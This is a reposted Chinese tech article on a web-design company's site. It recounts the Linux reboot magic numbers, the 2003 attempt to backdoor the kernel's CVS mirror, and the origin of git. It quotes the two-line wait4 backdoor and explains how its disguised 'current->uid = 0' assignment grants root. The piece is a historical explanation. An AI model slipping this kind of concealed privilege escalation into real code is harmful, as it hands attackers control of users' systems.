专业网站建设品牌,十四年专业建站经验,服务6000+客户--广州京杭网络
免费热线:400-683-0016      微信咨询  |  联系我们

如何在Linux系统中安装个后门_服务器

当前位置:网站建设 > 技术支持
资料来源:网络整理       时间:2023/3/9 3:42:02       共计:3593 浏览

如何在Linux系统中安装个后门?

看到这个问题,我的脑海里就浮现了之前看到的两则故事,一则是跟Linux作者Linus有关,他的这个故事严格意义上并不是一个后门,但是确实在Linux系统里面安插了“私货”;另外一个故事是真的在Linux源码中安插了后门,而且差一点成功了。

故事一:Linus在Linux中安插“私货”

如果你对Linux代码还算比较熟的,应该就知道下面截图的是系统调用SYSC_reboot接口的代码。

代码中有一段校验Magic Number(魔数)的代码,上面的注释是:“For safty, we require "magic" arguments.”

哇塞!说的多么“冠冕堂皇”啊,为了安全,好像不做一下校验就很不严谨似的。

接着看看那几个比较的宏是干嘛的:

嗯?!第一个参数貌似很有意思,像英文的“feeldead”,感觉要死了,可不是么系统马上要重启了。但貌似除了这第一个参数的魔数,第二个参数要比较的魔数都没什么特别的意思嘛。

神奇的事情来了,把这几个魔数转成16进制:

0x28121969

0x5121996

0x16041998

0x20112000

看着像什么?有点像是日期啊,答对了!

第一个是Linus大神的生日1969年12月28日,第二个是Linus的大女儿的生日1996年12月5日,第三个是Linus的二女儿的生日1998年4月16日,最后一个零零后是Linus的小女儿剩余2000年11月20日。

Linus这是在Linux代码中公然夹带私货啊!换句话来说,要想成功调用reboot API,那么前两个参数必须严格按如下规则填写:

第一个参数必须是0xfee1dead。 在Linus大神的大女儿Patricia出生之前,第二个参数能且只能是0x28121969,也就是大神的生日。 当Linus有了大女儿Patricia后,第二个参数也可以是Patricia的生日0x5121996。这样说有点不精确,精确的说法是从Linux内核2.1.17版本开始,第二个参数也可以是0x5121996。查阅kernel.org上的内核发布历史,2.1.17应该发布于1996年12月22日。可以想见,Linus大神在喜得爱女的几天内就修改了内核代码,然后在女儿满月之前把把这个代码发布给世界了。当Linus有二女儿后,第二个参数也可以是二女儿的生日。 当Linus有了小女儿后,第二个参数也可以是小女儿的生日。

Linus大神把这些有意义的魔数写入Linux内核中,而且使它们称为系统调用的一部分,也就是说只要Linux还在,只要Linux还运行,这些数字将在全世界各地流淌。全世界的Linux应用程序开发者都将使用这些魔数才能正确调用重启接口,而且考虑到前向兼容性,这些数字是不会被轻易更改或者去除的。幸运的是,只要你系统不重启,Linus的诡计就不能得逞,机智!

故事一的创作来源于格友公众号的文章:雕刻在LINUX内核中的LINUS故事:

https://blog.csdn.net/PCb4jR/article/details/81518695

。原文要比我写的精彩,我只是把切题的部分摘出来了,它涉及很多有趣细节,感兴趣的建议去看一下完整版。

故事二:惊天黑客Linux插入后门记

Linux内核是开源代码界可以说是最著名的标杆项目,全世界无数双最顶尖的程序员的眼睛都盯着,正是基于此开源世界宣传开源软件比专有软件更安全,那能不能向其中安插一个后门呢?虽然这是一件难度极高的事情,但有人差一点做到了,是怎么回事呢?

在正式说之前,我们必须要了解一些背景知识。

2002年2月,Linux之父Linus Torvalds决定使用BitKeeper工具来管理Linux内核代码主线(mainline)。利用版本控制工具,我们可以记录每次代码修改的差异,代码修改的提交人信息,修改原因和其他信息,这对于软件开发来说是一个很重要的事情。一开始Linus对BitKeeper评价很高,他认为是“The best tool for the job”。

BitMover是BitKeeper的开发厂商,其创始人和CEO是Larry McVoy,这个人也很热衷于开源事业的发展。Larry期望BitKeeper能帮助Linus 免于陷入不断加重的Linux内核管理工作中--事实上,自从Linus 开始使用BitKeeper之后,Linux的开发步伐加快了两倍。

BitMover授权Linux开发者不用付费就能使用这个工具--前提是这样一个协议:这个免费工具的真正使用者不能同时开发其竞争产品。换句话说,这个工具可以免费 使用(freely used),不过不能被自由克隆(freely cloned)。事实上,BitMover开发维护了两个BitKeeper版本,一个免费的授权给Linux开发者使用开发Linux,另一个是商业产品需要购买,但BitKeeper其实也不亏,因为它的商业模式就是授权给开源开发者使用吸引那些付费用户,相当于整个Linux开发团体给这个产品做了背书。当然这两个版本都是BitMover的知识产权。

扯的原了,书回正传。

2003年Linux源码主拷贝存储在BitKeeper中,如果开发者想往Linux代码中提交一个修改,需要走一个审批流程,以此来确定这次更改能否被接受。每一次更改都有一个简单的说明,其中包含一个指向审批记录的链接。但是有些人不喜欢BitKeeper,于是BitMover的一些人(在Larry McVoy的指示下)建立一个单独的CVS仓库,这个仓库包含了当前完整的Linux代码以及全部的修改记录,这样的话不喜欢用BitKeeper的开发者就可以从CVS仓库中获取代码,CVS代码拷贝实际上是BitKeeper代码的一个直接克隆。因此,CVS仓库不是新修改提交代码的地方,当然,当有人试图往CVS中推送一些修改的时候,Larry McVoy能第一时间注意到。

故事就发生在这个CVS仓库中。

2003年11月5号,Larry McVoy 注意到了一件怪事,CVS中的一个代码变更没有包含审批记录的链接, 这是怎么回事?

经过一番调查发现:从来没有人批准过这个代码变更,奇怪的是,这个代码变更并没有出现在BitKeeper主仓库中,原来是有人黑进了CVS的服务器,偷偷插入了一段代码。这段代码到底做了什么事情呢?

这段代码修改了一个叫做wait4的Linux函数,程序可以使用wait4来等待一些事情的发生,这个代码变更增加了这么两行:

+ if ((options == (__WCLONE | __WALL)) && (current->uid = 0))

+ retval = -EINVAL;

不仔细看,这段代码并没有什么特别,只是做一下条件检查,不满足的话就返回错误码。

但仔细一看"current->uid=0"是一个赋值语句啊!也就是说在用户态调用wait4函数,条件随便写一个满足“options == (__WCLONE | __WALL)”的,"current->uid=0"会立马被执行。current->uid赋值为0意味着用户ID被改成了0,也就拿到了root权限,那么在系统中可以想干什么就干什么了。

幸运的是,这样一个后门被Linux团队敏锐的发现了,虽然它只是在CVS代码库中,但是危险性不容小觑。

首先,后门存在CVS中,不在BitKeeper的主仓库中,从BitKeeper 代码库Build出的Linux肯定没问题, 但是如果有人从CVS代码库中build了Linux, 那就中招了。其次,搞破坏的家伙可能有这样的预期:有个被Linus Torvalds所信任的内核开发者,他讨厌BitKeeper,并且在使用CVS, 那当他修改了代码,准备通过邮件的方式向Linus Torvalds发送patch的时候发现,咦,wait4这里也有个code change, 是做条件检查的,也包括进去吧。Linus收到补丁,一看是自己信任的兄弟提交的,没有仔细检查,于是后门代码进入了主代码仓库。 那么后果不堪设想!

故事二的创作来源于码农翻身公众号的文章:如何在Linux中安插一个后门?

https://blog.csdn.net/coderising/article/details/100682413

。并在此基础上结合另外三篇文章做了再整理创作:

https://lwn.net/Articles/57135/

https://blog.csdn.net/glory1234work2115/article/details/51277402

https://freedom-to-

tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/

番外:

Linux使用BitKeeper做开发管理,但有人不乐意了,为什么呢?因为BitKeeper是一个非开源但是有条件免费的版本控制工具,而Linux是开源软件的标杆产品,用一个闭源软件来管理开源软件,就有“政治不正确”,心里也膈应。但是在当时,确实也没有哪个自由软件/开源软件工具具有BitKeeper那样的功能--它提供了真正的分布式开发能力,所以又不得不用。

虽然有协议要求“这个免费工具的真正使用者不能同时开发其竞争产品”,但是还是有人不断的试图反向工程BitKeeper,多次这样的举动引起了BitMover的注意和警告,最终导致了BitMover决定终 止结束免费BitKeeper产品的开发和应用。

没有了免费的BitKeeper,Linus大神自己在短短几个星期里面撸了一个版本管理软件git,更厉害的是他大概花一天的时间就让Git能达到自己管理自己的程度(self-hosting),之后就开始用Git提交Git的程序代码了。多年以后,Github代码托管平台在开源界横空出世,被称为程序员的社交平台,它的底层就是Git。目前Linux也将代码托管在Github上,真是令人感慨啊。

版权说明:
本网站凡注明“广州京杭 原创”的皆为本站原创文章,如需转载请注明出处!
本网转载皆注明出处,遵循行业规范,如发现作品内容版权或其它问题的,请与我们联系处理!
欢迎扫描右侧微信二维码与我们联系。
·上一条:分类测出来的准确率远低于网络训练过程中打印的准确率_python | ·下一条:路由器pppoe认证类型怎么设置_服务器

Copyright © 广州京杭网络科技有限公司 2005-2025 版权所有    粤ICP备16019765号 

广州京杭网络科技有限公司 版权所有